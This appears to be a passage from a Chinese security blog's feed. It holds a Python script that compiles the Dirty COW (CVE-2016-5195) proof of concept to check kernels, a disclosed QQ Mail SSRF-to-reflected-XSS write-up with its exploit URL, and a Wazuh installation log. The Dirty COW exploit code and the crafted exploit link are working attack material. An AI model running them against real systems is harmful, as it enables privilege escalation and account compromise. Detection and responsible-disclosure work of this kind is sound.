class="line"> *      Author: 5t4rk </span><br><span class="line"> */  </span><br><span class="line">#include&lt;stdio.h&gt;  </span><br><span class="line">#include&lt;sys/mman.h&gt;  </span><br><span class="line">#include&lt;fcntl.h&gt;  </span><br><span class="line">#include&lt;pthread.h&gt;  </span><br><span class="line">#include&lt;string.h&gt;  </span><br><span class="line">  </span><br><span class="line">void *map;  </span><br><span class="line">int f;  </span><br><span class="line">struct stat st;  </span><br><span class="line">char* name;  </span><br><span class="line">  </span><br><span class="line">void * madviseThread(void *arg)  </span><br><span class="line">&#123;  </span><br><span class="line">    char *str;  </span><br><span class="line">    str = (char *) arg;  </span><br><span class="line">    int i, c = 0;  </span><br><span class="line">    for (i = 0; i &lt; 100000000; i++)  </span><br><span class="line">    &#123;  </span><br><span class="line">        c += madvise(map, 100, MADV_DONTNEED);  </span><br><span class="line">    &#125;  </span><br><span class="line">    printf(&quot;madvise %d\\n&quot;, c);  </span><br><span class="line">&#125;  </span><br><span class="line">  </span><br><span class="line">void * procselfmemThread(void *arg)  </span><br><span class="line">&#123;  </span><br><span class="line">    char *str;  </span><br><span class="line">    str = (char *) arg;  </span><br><span class="line">    int f = open(&quot;/proc/self/mem&quot;, O_RDWR);  </span><br><span class="line">    int i, c = 0;  </span><br><span class="line">    for (i = 0; i &lt; 100000000; i++)  </span><br><span class="line">    &#123;  </span><br><span class="line">        lseek(f, map, SEEK_SET);  </span><br><span class="line">        c += write(f, str, strlen(str));  </span><br><span class="line">    &#125;  </span><br><span class="line">    printf(&quot;procselfmem %d\\n&quot;, c);  </span><br><span class="line">&#125;  </span><br><span class="line">  </span><br><span class="line">int main(int argc, char *argv[])  </span><br><span class="line">&#123;  </span><br><span class="line">    if (argc &lt; 3)  </span><br><span class="line">        return 1;  </span><br><span class="line">    pthread_t pth1, pth2;  </span><br><span class="line">    f = open(argv[1], O_RDONLY);  </span><br><span class="line">    fstat(f, &amp;st);  </span><br><span class="line">    name = argv[1];  </span><br><span class="line">    map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);  </span><br><span class="line">    printf(&quot;mmap %x\\n&quot;, map);  </span><br><span class="line">    pthread_create(&amp;pth1, NULL, madviseThread, argv[1]);  </span><br><span class="line">    pthread_create(&amp;pth2, NULL, procselfmemThread, argv[2]);  </span><br><span class="line">    pthread_join(pth1, NULL);  </span><br><span class="line">    pthread_join(pth2, NULL);  </span><br><span class="line">    return 0;  </span><br><span class="line">&#125;  </span><br><span class="line">&quot;&quot;&quot;</span><br><span class="line"></span><br><span class="line"># 临时文件内容</span><br><span class="line"></span><br><span class="line">test_content = &quot;noo&quot;</span><br><span class="line"></span><br><span class="line"># 本地写入文件方法</span><br><span class="line">def write_poc(code, file):</span><br><span class="line">with open(file, &apos;w&apos;) as f:</span><br><span class="line">f.write(code)</span><br><span class="line"></span><br><span class="line"># 编译poc</span><br><span class="line">def mc_gcc(file):</span><br><span class="line">pobj = Popen(&apos;gcc &apos;+file+&quot; -lpthread -o mc_poc&quot;, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)</span><br><span class="line">result = pobj.communicate()</span><br><span class="line">return result</span><br><span class="line"></span><br><span class="line"># 执行poc</span><br><span class="line">def mc_binx(file):</span><br><span class="line">pobj = Popen(&apos;./&apos;+file+&quot; mc_tmp yes|ps -ef|grep &apos;[m]c_poc mc_tmp&apos;|awk &apos;&#123;print $2&#125;&apos;|xargs kill -9&quot;, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)</span><br><span class="line">result = pobj.communicate()</span><br><span class="line">return result</span><br><span class="line"></span><br><span class="line"># 判断是否存在漏洞</span><br><span class="line">def mc_vuln(file):</span><br><span class="line">pobj = Popen(&apos;cat &apos;+file, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)</span><br><span class="line">result = pobj.communicate()</span><br><span class="line">return result[0]</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">if __name__ == &quot;__main__&quot;:</span><br><span class="line">write_poc(poc_code, &apos;mc_poc.c&apos;)</span><br><span class="line">write_poc(test_content, &apos;mc_tmp&apos;)</span><br><span class="line">mc_gcc(&apos;mc_poc.c&apos;)</span><br><span class="line">mc_binx(&apos;mc_poc&apos;)</span><br><span class="line"># print type(mc_vuln(&apos;mc_tmp&apos;))</span><br><span class="line">if mc_vuln(&apos;mc_tmp&apos;) == &apos;yes&apos;:</span><br><span class="line">print &apos;The os is vulnerability!Please upgrade the kernel.&apos;</span><br><span class="line">elif mc_vuln(&apos;mc_tmp&apos;) == &apos;noo&apos;:</span><br><span class="line">print &apos;You are Lucky dog~ No vuln.&apos;</span><br></pre></td></tr></table></figure><blockquote><p>在测试过程中发现poc在执行时会导致机器cpu飙升，于是在代码的逻辑里将poc二进制文件执行过后，马上通过Linux执行杀掉它的进程，防止影响机器上的业务。<br>所以可能会导致明明存在漏洞，而二进制程序没有执行完就被kill掉了，进而没有检测出漏洞。多执行几次python dirtycow.py，只要出现一次提示存在漏洞，那就是存在漏洞了。<br>蛤~</p></blockquote>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h2 id=&quot;漏洞编号&quot;&gt;&lt;a href=&quot;#漏洞编号&quot; class=&quot;headerlink&quot; title=&quot;漏洞编号&quot;&gt;&lt;/a&gt;漏洞编号&lt;/h2&gt;&lt;p&gt;CVE-2016-5195&lt;/p&gt;
&lt;h2 id=&quot;漏洞名称&quot;&gt;&lt;a href=&quot;#漏洞名称&quot; class=&quot;headerl
      
    
    </summary>
    
      <category term="安全建设" scheme="http://pirogue.org/categories/%E5%AE%89%E5%85%A8%E5%BB%BA%E8%AE%BE/"/>
    
    
      <category term="安全建设" scheme="http://pirogue.org/tags/%E5%AE%89%E5%85%A8%E5%BB%BA%E8%AE%BE/"/>
    
      <category term="甲方安全" scheme="http://pirogue.org/tags/%E7%94%B2%E6%96%B9%E5%AE%89%E5%85%A8/"/>
    
      <category term="脏牛" scheme="http://pirogue.org/tags/%E8%84%8F%E7%89%9B/"/>
    
      <category term="dirtycow" scheme="http://pirogue.org/tags/dirtycow/"/>
    
      <category term="CVE-2016-5195" scheme="http://pirogue.org/tags/CVE-2016-5195/"/>
    
  </entry>
  
  <entry>
    <title>QQ邮箱反射型xss漏洞</title>
    <link href="http://pirogue.org/2017/08/25/qqmailxss/"/>
    <id>http://pirogue.org/2017/08/25/qqmailxss/</id>
    <published>2017-08-25T09:40:42.000Z</published>
    <updated>2017-08-25T10:50:49.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="起因"><a href="#起因" class="headerlink" title="起因"></a>起因</h2><p>甲方“一个人的安全部”的时候，一个研发的同事在设计一项报表功能时，因为受到邮箱的安全限制无法很好的实现，于是将情况反馈给我。说实话，我对浏览器的安全也不太了解，案头的书翻了几页就没再动过，于是对比了腾讯邮箱的做法，发现了这个xss。</p><h2 id="背景"><a href="#背景" class="headerlink" title="背景"></a>背景</h2><p>公司使用coremail搭建企业邮箱，开发做了一个通过邮件发送html报表的周报，但在此邮件内有链接地址。邮箱的域名是a.com，而报表中的链接是b.com，当用户打开a.com内的报表邮件，点击其中的链接；因为邮件的内容是通过iframe来加载html报表，同时coremail将iframe加入了内容安全策略(CSP)限制(sandbox=“allow-same-origin allow-popups”)。所以，点击链接虽然可以跳转到b.com，但b.com页面有js脚本，sandbox不允许执行脚本(allow-scripts)，会导致新打开的链接不会加载脚本执行，效果当然也不是开发想要的效果了。</p><p><img src="/2017/08/25/qqmailxss/iframe-sandbox.jpg" alt="iframe-sandbox"></p><blockquote><p>当然通过让厂商修改iframe的sandbox属性，改为sandbox=”allow-same-origin allow-popups allow-popups-to-escape-sandbox”,即可解决这个问题，但会影响邮箱的安全性。</p></blockquote><p>于是我打开qq邮箱，发现QQ邮箱并没有这个iframe策略，而是通过一个三方“云端安全检测”，对邮件内连接进行拦截，提示用户要访问的页面可能有风险。</p><p><img src="/2017/08/25/qqmailxss/qqmailxss-1.jpg" alt="qqmailxss"></p><h2 id="被src拒绝的“逻辑漏洞”"><a href="#被src拒绝的“逻辑漏洞”" class="headerlink" title="被src拒绝的“逻辑漏洞”"></a>被src拒绝的“逻辑漏洞”</h2><p>于是多打开了几封QQ邮件，点击了邮件内的链接，发现腾讯对智联招聘、拉钩等招聘网站的链接不会进行拦截，直接放行跳转，所以这其中是否存在一定的逻辑绕过呢？</p><p>测试过程就省略了，说结果吧，个人认为验证逻辑上还是有些问题：</p><p>当邮件内容出现链接时，点击跳转，默认QQ邮箱会进行在云端进行拦截检测。但是会有白名单机制，比如 <a href="http://www.lagou.com" target="_blank" rel="noopener">http://www.lagou.com</a> ，会把拉钩的招聘链接进行放行，云端安全检测检-&gt;进行跳转放行，无任何提示。</p><ul><li><p>现有的逻辑如下：</p><p>  <a href="https://www.lagou.com" target="_blank" rel="noopener">https://www.lagou.com</a> 不放行（因为https，非白名单）</p><p>  www.lagou.com 不放行（不带有http，非白名单）</p><p>  <a href="http://xss.pirogue.org" target="_blank" rel="noopener">http://xss.pirogue.org</a> 不放行（非白名单）</p><p>  等等其他域名都不放行。</p></li></ul><p>但当第一行是<a href="http://www.lagou.com" target="_blank" rel="noopener">http://www.lagou.com</a> ，第二行的链接都会放行（除去色情或被举报的网址）。</p><p>比如：</p><p><img src="/2017/08/25/qqmailxss/exmple.jpg" alt="exmple"></p><p>两个链接都会进行跳转。</p><p>如果第一个是<a href="http://www.lagou.com" target="_blank" rel="noopener">http://www.lagou.com</a> ，第二行的网址是一个钓鱼或挂马的链接，却没有被举报。那用户便可能会受到攻击。</p><blockquote><p>后来的结果是大家都知道了，被忽略了。这点我没啥争议，不是漏洞也没关系，我想一探究竟，它是通过js获取邮件内的链接，遇到点击事件就丢到三方“云端url检测”的吗？所以在审计js代码的过程中，一不小心发现了一个类ssrf漏洞。</p></blockquote><h2 id="鸡肋ssrf变身反射型xss"><a href="#鸡肋ssrf变身反射型xss" class="headerlink" title="鸡肋ssrf变身反射型xss"></a>鸡肋ssrf变身反射型xss</h2><h3 id="ssrf漏洞"><a href="#ssrf漏洞" class="headerlink" title="ssrf漏洞"></a>ssrf漏洞</h3><ul><li>原功能链接：</li></ul><p><a href="https://mail.qq.com/cgi-bin/magurl?sid=e6tvxdAtN0XOUGoz&amp;act=rep&amp;url=http://x.soso.com/js/xf/xflib2.0.js" target="_blank" rel="noopener">https://mail.qq.com/cgi-bin/magurl?sid=e6tvxdAtN0XOUGoz&amp;act=rep&amp;url=http://x.soso.com/js/xf/xflib2.0.js</a></p><p>这个cgi读取到了js的内容</p><p><img src="/2017/08/25/qqmailxss/ssrf.jpg" alt="ssrf"></p><ul><li>漏洞截图：</li></ul><p><a href="https://mail.qq.com/cgi-bin/magurl?sid=e6tvxdAtN0XOUGoz&amp;act=rep&amp;url=http://ip.qq.com/" target="_blank" rel="noopener">https://mail.qq.com/cgi-bin/magurl?sid=e6tvxdAtN0XOUGoz&amp;act=rep&amp;url=http://ip.qq.com/</a></p><p> <img src="/2017/08/25/qqmailxss/ssrf-2.jpg" alt="ssrf"></p><blockquote><p>但此ssrf限制了域名，比如<em>.qq.com，</em>.soso.com，等等腾讯自己的域名。所以除非你能再挖到腾讯自己的域名下的漏洞来结合使用。可是我们还可以测试一下是否可以绕过域名的白名单机制。</p></blockquote><h3 id="反射型xss漏洞"><a href="#反射型xss漏洞" class="headerlink" title="反射型xss漏洞"></a>反射型xss漏洞</h3><p>于是我构造了如下的url，成功绕过了白名单，提交了此漏洞：</p><ul><li><p>构造的恶意链接：<br><a href="http://mail.qq.com.pirogue.org/qq.com.html" target="_blank" rel="noopener">http://mail.qq.com.pirogue.org/qq.com.html</a><br>内容如下：</p><p><img src="/2017/08/25/qqmailxss/ssrf-3.jpg" alt="ssrf"></p></li><li><p>Exp:</p><p>  <a href="https://mail.qq.com/cgi-bin/magurl?sid=e6tvxdAtN0XOUGoz&amp;act=rep&amp;url=http://mail.qq.com.pirogue.org/qq.com.html" target="_blank" rel="noopener">https://mail.qq.com/cgi-bin/magurl?sid=e6tvxdAtN0XOUGoz&amp;act=rep&amp;url=http://mail.qq.com.pirogue.org/qq.com.html</a></p><p><img src="/2017/08/25/qqmailxss/ssrf-xss.jpg" alt="ssrf"></p></li></ul><p>仔细看url链接里面存在一个sid，在后来的tsrc自测时发现，此sid只能是收件人的sid才能触发漏洞。额，有点self-xss的意思咯。但tsrc还是根据可能的危害程度，给了漏洞中危的回复。</p><h2 id="结语"><a href="#结语" class="headerlink" title="结语"></a>结语</h2><p>之前在搞一个目标的时候还挖到了一个QQ企业邮箱的存储型xss，但那个存储型xss没啥技术含量，而这个反射的起因到结果还是挺有趣的，所以迫不及待的想分享给大家。</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h2 id=&quot;起因&quot;&gt;&lt;a href=&quot;#起因&quot; class=&quot;headerlink&quot; title=&quot;起因&quot;&gt;&lt;/a&gt;起因&lt;/h2&gt;&lt;p&gt;甲方“一个人的安全部”的时候，一个研发的同事在设计一项报表功能时，因为受到邮箱的安全限制无法很好的实现，于是将情况反馈给我。说实话，我对浏览
      
    
    </summary>
    
      <category term="渗透测试" scheme="http://pirogue.org/categories/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"/>
    
    
      <category term="安全建设" scheme="http://pirogue.org/tags/%E5%AE%89%E5%85%A8%E5%BB%BA%E8%AE%BE/"/>
    
      <category term="渗透测试" scheme="http://pirogue.org/tags/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"/>
    
      <category term="xss" scheme="http://pirogue.org/tags/xss/"/>
    
      <category term="QQ邮箱" scheme="http://pirogue.org/tags/QQ%E9%82%AE%E7%AE%B1/"/>
    
      <category term="ssrf" scheme="http://pirogue.org/tags/ssrf/"/>
    
  </entry>
  
  <entry>
    <title>Wazuh搭建</title>
    <link href="http://pirogue.org/2017/08/24/WAZUH/"/>
    <id>http://pirogue.org/2017/08/24/WAZUH/</id>
    <published>2017-08-24T11:21:38.000Z</published>
    <updated>2017-08-29T04:07:44.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="WAZUH架构图"><a href="#WAZUH架构图" class="headerlink" title="WAZUH架构图"></a>WAZUH架构图</h2><h3 id="分布式"><a href="#分布式" class="headerlink" title="分布式"></a>分布式</h3><p><img src="/2017/08/24/WAZUH/distributed.jpg" alt="wazuh_distributed"></p><h3 id="单台部署"><a href="#单台部署" class="headerlink" title="单台部署"></a>单台部署</h3><p><img src="/2017/08/24/WAZUH/single.jpg" alt="wazuh_single"></p><h2 id="Install-Wazuh-server"><a href="#Install-Wazuh-server" class="headerlink" title="Install Wazuh server"></a>Install Wazuh server</h2><h3 id="添加CentOS-wazuh源"><a href="#添加CentOS-wazuh源" class="headerlink" title="添加CentOS wazuh源"></a>添加CentOS wazuh源</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">$ cat &gt; /etc/yum.repos.d/wazuh.repo &lt;&lt;\EOF</span><br><span class="line">[wazuh_repo]</span><br><span class="line">gpgcheck=1</span><br><span class="line">gpgkey=https://packages.wazuh.com/key/GPG-KEY-WAZUH</span><br><span class="line">enabled=1</span><br><span class="line">name=CentOS-$releasever - Wazuh</span><br><span class="line">baseurl=https://packages.wazuh.com/yum/el/$releasever/$basearch</span><br><span class="line">protect=1</span><br><span class="line">EOF</span><br></pre></td></tr></table></figure><h3 id="安装Wazuh-manager"><a href="#安装Wazuh-manager" class="headerlink" title="安装Wazuh-manager"></a>安装Wazuh-manager</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ yum install wazuh-manager</span><br></pre></td></tr></table></figure><ul><li>查看Wazuh运行状态<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost init.d]# service wazuh-manager status</span><br><span class="line">ossec-monitord is running...</span><br><span class="line">ossec-logcollector is running...</span><br><span class="line">ossec-remoted is running...</span><br><span class="line">ossec-syscheckd is running...</span><br><span class="line">ossec-analysisd is running...</span><br><span class="line">ossec-maild not running...</span><br><span class="line">ossec-execd is running...</span><br><span class="line">wazuh-modulesd is running...</span><br></pre></td></tr></table></figure></li></ul><h3 id="安装Wazuh-API"><a href="#安装Wazuh-API" class="headerlink" title="安装Wazuh API"></a>安装Wazuh API</h3><ul><li>安装NodeJS</li></ul><blockquote><p>[root@localhost opt]# curl –silent –location <a href="https://rpm.nodesource.com/setup_6.x" target="_blank" rel="noopener">https://rpm.nodesource.com/setup_6.x</a> | bash -</p></blockquote><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line">## Installing the NodeSource Node.js 6.x repo...</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">## Inspecting system...</span><br><span class="line"></span><br><span class="line">+ rpm -q --whatprovides redhat-release || rpm -q --whatprovides centos-release || rpm -q --whatprovides cloudlinux-release || rpm -q --whatprovides sl-release</span><br><span class="line">+ uname -m</span><br><span class="line"></span><br><span class="line">## Confirming &quot;el6-x86_64&quot; is supported...</span><br><span class="line"></span><br><span class="line">+ curl -sLf -o /dev/null &apos;https://rpm.nodesource.com/pub_6.x/el/6/x86_64/nodesource-release-el6-1.noarch.rpm&apos;</span><br><span class="line"></span><br><span class="line">## Downloading release setup RPM...</span><br><span class="line"></span><br><span class="line">+ mktemp</span><br><span class="line">+ curl -sL -o &apos;/tmp/tmp.l3Z6OzvS3W&apos; &apos;https://rpm.nodesource.com/pub_6.x/el/6/x86_64/nodesource-release-el6-1.noarch.rpm&apos;</span><br><span class="line"></span><br><span class="line">## Installing release setup RPM...</span><br><span class="line"></span><br><span class="line">+ rpm -i --nosignature --force &apos;/tmp/tmp.l3Z6OzvS3W&apos;</span><br><span class="line"></span><br><span class="line">## Cleaning up...</span><br><span class="line"></span><br><span class="line">+ rm -f &apos;/tmp/tmp.l3Z6OzvS3W&apos;</span><br><span class="line"></span><br><span class="line">## Checking for existing installations...</span><br><span class="line"></span><br><span class="line">+ rpm -qa &apos;node|npm&apos; | grep -v nodesource</span><br><span class="line"></span><br><span class="line">## Run `yum install -y nodejs` (as root) to install Node.js 6.x and npm.</span><br><span class="line">## You may also need development tools to build native addons:</span><br><span class="line">##   `yum install -y gcc-c++ make`</span><br></pre></td></tr></table></figure><blockquote><p>[root@localhost opt]# ls</p><p>[root@localhost opt]# yum install nodejs</p></blockquote><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br></pre></td><td class="code"><pre><span class="line">已加载插件：fastestmirror</span><br><span class="line">设置安装进程</span><br><span class="line">Loading mirror speeds from cached hostfile</span><br><span class="line"> * base: mirrors.aliyun.com</span><br><span class="line"> * extras: mirrors.aliyun.com</span><br><span class="line"> * updates: mirrors.aliyun.com</span><br><span class="line">nodesource                                                                                                                         | 2.5 kB     00:00     </span><br><span class="line">nodesource/primary_db                                                                                                              |  43 kB     00:00     </span><br><span class="line">解决依赖关系</span><br><span class="line">--&gt; 执行事务检查</span><br><span class="line">---&gt; Package nodejs.x86_64 2:6.11.1-1nodesource.el6 will be 安装</span><br><span class="line">--&gt; 完成依赖关系计算</span><br><span class="line"></span><br><span class="line">依赖关系解决</span><br><span class="line"></span><br><span class="line">==========================================================================================================================================================</span><br><span class="line"> 软件包                         架构                           版本                                              仓库                                大小</span><br><span class="line">==========================================================================================================================================================</span><br><span class="line">正在安装:</span><br><span class="line"> nodejs                         x86_64                         2:6.11.1-1nodesource.el6                          nodesource                         9.5 M</span><br><span class="line"></span><br><span class="line">事务概要</span><br><span class="line">==========================================================================================================================================================</span><br><span class="line">Install       1 Package(s)</span><br><span class="line"></span><br><span class="line">总下载量：9.5 M</span><br><span class="line">Installed size: 33 M</span><br><span class="line">确定吗？[y/N]：y</span><br><span class="line">下载软件包：</span><br><span class="line">nodejs-6.11.1-1nodesource.el6.x86_64.rpm                                                                                           | 9.5 MB     00:20     </span><br><span class="line">warning: rpmts_HdrFromFdno: Header V4 RSA/SHA1 Signature, key ID 34fa74dd: NOKEY</span><br><span class="line">Retrieving key from file:///etc/pki/rpm-gpg/NODESOURCE-GPG-SIGNING-KEY-EL</span><br><span class="line">Importing GPG key 0x34FA74DD:</span><br><span class="line"> Userid : NodeSource &lt;gpg-rpm@nodesource.com&gt;</span><br><span class="line"> Package: nodesource-release-el6-1.noarch (installed)</span><br><span class="line"> From   : /etc/pki/rpm-gpg/NODESOURCE-GPG-SIGNING-KEY-EL</span><br><span class="line">确定吗？[y/N]：y</span><br><span class="line">运行 rpm_check_debug </span><br><span class="line">执行事务测试</span><br><span class="line">事务测试成功</span><br><span class="line">执行事务</span><br><span class="line">Warning: RPMDB altered outside of yum.</span><br><span class="line">  正在安装   : 2:nodejs-6.11.1-1nodesource.el6.x86_64                                                                                                 1/1 </span><br><span class="line">  Verifying  : 2:nodejs-6.11.1-1nodesource.el6.x86_64                                                                                                 1/1 </span><br><span class="line"></span><br><span class="line">已安装:</span><br><span class="line">  nodejs.x86_64 2:6.11.1-1nodesource.el6                                                                                                                  </span><br><span class="line"></span><br><span class="line">完毕！</span><br></pre></td></tr></table></figure><ul><li>安装Wazuh API</li></ul><blockquote><p>[root@localhost opt]# yum install wazuh-api</p></blockquote><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line">已加载插件：fastestmirror</span><br><span class="line">设置安装进程</span><br><span class="line">Loading mirror speeds from cached hostfile</span><br><span class="line"> * base: mirrors.aliyun.com</span><br><span class="line"> * extras: mirrors.aliyun.com</span><br><span class="line"> * updates: mirrors.aliyun.com</span><br><span class="line">解决依赖关系</span><br><span class="line">--&gt; 执行事务检查</span><br><span class="line">---&gt; Package wazuh-api.x86_64 0:2.0.1-1.el6 will be 安装</span><br><span class="line">--&gt; 完成依赖关系计算</span><br><span class="line"></span><br><span class="line">依赖关系解决</span><br><span class="line"></span><br><span class="line">==========================================================================================================================================================</span><br><span class="line"> 软件包                              架构                             版本                                     仓库                                  大小</span><br><span class="line">==========================================================================================================================================================</span><br><span class="line">正在安装:</span><br><span class="line"> wazuh-api                           x86_64                           2.0.1-1.el6                              wazuh_repo                           2.0 M</span><br><span class="line"></span><br><span class="line">事务概要</span><br><span class="line">==========================================================================================================================================================</span><br><span class="line">Install       1 Package(s)</span><br><span class="line"></span><br><span class="line">总下载量：2.0 M</span><br><span class="line">Installed size: 7.8 M</span><br><span class="line">确定吗？[y/N]：y</span><br><span class="line">下载软件包：</span><br><span class="line">wazuh-api-2.0.1-1.el6.x86_64.rpm                                                                                                   | 2.0 MB     00:04     </span><br><span class="line">运行 rpm_check_debug </span><br><span class="line">执行事务测试</span><br><span class="line">事务测试成功</span><br><span class="line">执行事务</span><br><span class="line">  正在安装   : wazuh-api-2.0.1-1.el6.x86_64                                                                                                           1/1 </span><br><span class="line">Installing for SysVinit</span><br><span class="line">WAZUH-API is not running.</span><br><span class="line">WAZUH-API started.</span><br><span class="line">Don&apos;t forget to run the configuration script after installation: /var/ossec/api/scripts/configure_api.sh</span><br><span class="line">Warning: Minimal supported version is 2.7</span><br><span class="line">root     21160  5.0  0.2 614120  7952 pts/0    Rl+  15:12   0:00 /usr/bin/node /var/ossec/api/app.js</span><br><span class="line">WAZUH-API stopped.</span><br><span class="line">WAZUH-API started.</span><br><span class="line">  Verifying  : wazuh-api-2.0.1-1.el6.x86_64                                                                                                           1/1 </span><br><span class="line"></span><br><span class="line">已安装:</span><br><span class="line">  wazuh-api.x86_64 0:2.0.1-1.el6                                                                                                                          </span><br><span class="line"></span><br><span class="line">完毕！</span><br></pre></td></tr></table></figure><ul><li>wazuh-api状态错误</li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost Python-2.7.3]# service wazuh-api status</span><br><span class="line">WAZUH-API is stopped.</span><br><span class="line"></span><br><span class="line">Last 20 log entries:</span><br><span class="line">WazuhAPI 2017-08-01 15:12:23: ERROR: No suitable Python version found. This application requires Python 2.7 or newer. Exiting.</span><br><span class="line"></span><br><span class="line">Full log: /var/ossec/logs/api.log</span><br></pre></td></tr></table></figure><ul><li>Cent0S 6安装python27</li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ yum install -y centos-release-scl</span><br><span class="line">$ yum install -y python27</span><br></pre></td></tr></table></figure><ul><li>查看wazuh-api状态</li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost Python-2.7.3]# service wazuh-api start</span><br><span class="line">WAZUH-API started.</span><br><span class="line">[root@localhost Python-2.7.3]# service wazuh-api status</span><br><span class="line">WAZUH-API is running.</span><br></pre></td></tr></table></figure><h3 id="安装-Filebeat"><a href="#安装-Filebeat" class="headerlink" title="安装 Filebeat"></a>安装 Filebeat</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost opt]# rpm --import https://packages.elastic.co/GPG-KEY-elasticsearch</span><br><span class="line">[root@localhost opt]# cat &gt; /etc/yum.repos.d/elastic.repo &lt;&lt; EOF</span><br><span class="line">&gt; [elastic-5.x]</span><br><span class="line">&gt; name=Elastic repository for 5.x packages</span><br><span class="line">&gt; baseurl=https://artifacts.elastic.co/packages/5.x/yum</span><br><span class="line">&gt; gpgcheck=1</span><br><span class="line">&gt; gpgkey=https://artifacts.elastic.co/GPG-KEY-elasticsearch</span><br><span class="line">&gt; enabled=1</span><br><span class="line">&gt; autorefresh=1</span><br><span class="line">&gt; type=rpm-md</span><br><span class="line">&gt; EOF</span><br></pre></td></tr></table></figure><blockquote><p>[root@localhost opt]# yum install filebeat</p></blockquote><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span 